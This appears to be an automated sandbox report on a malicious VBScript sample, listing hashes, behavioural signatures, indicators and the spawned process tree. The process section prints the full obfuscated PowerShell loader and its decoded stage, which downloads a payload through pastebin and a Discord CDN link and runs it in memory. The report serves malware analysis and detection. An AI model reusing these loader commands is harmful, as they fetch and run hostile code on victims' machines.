Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-09-2024 14:43
Static task
static1
Behavioral task
behavioral1
Sample
sostener.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
sostener.vbs
Resource
win10v2004-20240910-en
General
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Target
sostener.vbs
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Size
1.6MB
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MD5
76dc07a863d93237819c1e08c5bb0eef
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SHA1
fc7e6a1ef7679f7461ae8b34987b46dc118cc4bb
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SHA256
5e519ab2640c9d1065a0e7610661fcd83e2e38869d48768fcd1b674b3804dd0f
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SHA512
9538b37d31fcb53e968ce7e69c13166e3f4f16fada79b9bac91ec2de012ed5b2642e6e380591c9716e9ae8d8f1149b7492e06c291bb8ec6a234af47daf95b51e
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SSDEEP
192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPP7:IeGsXcpR
Malware Config
Extracted
http://pastebin.com/raw/V9y5Q5vv
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 3 2860 powershell.exe 4 2860 powershell.exe 6 2860 powershell.exe 7 2860 powershell.exe -
pid Process 2680 powershell.exe 2860 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 6 bitbucket.org 7 bitbucket.org 2 pastebin.com 4 pastebin.com 5 bitbucket.org -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2680 powershell.exe 2860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2764 wrote to memory of 2680 2764 WScript.exe 31 PID 2764 wrote to memory of 2680 2764 WScript.exe 31 PID 2764 wrote to memory of 2680 2764 WScript.exe 31 PID 2680 wrote to memory of 2860 2680 powershell.exe 33 PID 2680 wrote to memory of 2860 2680 powershell.exe 33 PID 2680 wrote to memory of 2860 2680 powershell.exe 33
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bq☆GU☆egB0☆HM☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆G8☆YgB0☆G4☆aw☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HU☆e☆B4☆Gc☆Yg☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B1☆Hg☆e☆Bn☆GI☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆CY☆ZgBi☆Dc☆Mw☆w☆DU☆Mw☆w☆DU☆M☆☆x☆GE☆YQBi☆GI☆M☆☆2☆Dc☆OQ☆2☆Dc☆Yg☆2☆DY☆O☆☆z☆GI☆O☆☆w☆DQ☆N☆☆4☆GU☆Z☆☆1☆Dg☆Mg☆5☆GY☆N☆☆4☆GI☆MQBl☆DM☆Yw☆4☆GQ☆M☆Bl☆GY☆Mw☆2☆DY☆Mw☆y☆DE☆O☆☆0☆DE☆ZQ☆1☆GI☆Ng☆9☆G0☆a☆☆m☆Dc☆YgBk☆D☆☆N☆Bm☆DY☆Ng☆9☆HM☆aQ☆m☆Dc☆MwBm☆DU☆NQBm☆DY☆Ng☆9☆Hg☆ZQ☆/☆HQ☆e☆B0☆C4☆OQ☆w☆DU☆MgBz☆G8☆Uw☆v☆Dk☆NQ☆5☆DU☆M☆☆y☆DU☆OQ☆4☆DM☆O☆☆4☆Dk☆O☆☆0☆Dg☆O☆☆y☆DE☆Lw☆2☆DE☆O☆☆z☆D☆☆MQ☆5☆DE☆O☆☆4☆DI☆O☆☆0☆DY☆Mw☆1☆DE☆Mg☆x☆C8☆cwB0☆G4☆ZQBt☆Gg☆YwBh☆HQ☆d☆Bh☆C8☆bQBv☆GM☆LgBw☆H☆☆YQBk☆HI☆bwBj☆HM☆aQBk☆C4☆bgBk☆GM☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆Bv☆GI☆d☆Bu☆Gs☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆dQBq☆HM☆d☆Bn☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆Bq☆GU☆egB0☆HM☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$jezts = '0';$obtnk = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uxxgb = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uxxgb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('&fb730530501aabb067967b6683b80448ed5829f48b1e3c8d0ef366321841e5b6=mh&7bd04f66=si&73f55f66=xe?txt.9052soS/9595025983889848821/6183019188284635121/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $obtnk , '_____ujstg_______________________________________-------', $jezts, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD58663b9cf5995048b806f582266be90c9
SHA1d0921467e8509bee90006bc51ef9d09555d85681
SHA25628a64faac0f681661661bb368e601fad1cc7a509b26bf7c02c54e3099ae16702
SHA512f7d13c8f72dc796faec24f74e56151e8a23ba7d682ea93fa4bfc51568e5bff3d8f4059dd74aec72dd7b5cfc5376f60a73afb2a775f9dc1f0ef3707d8063743b5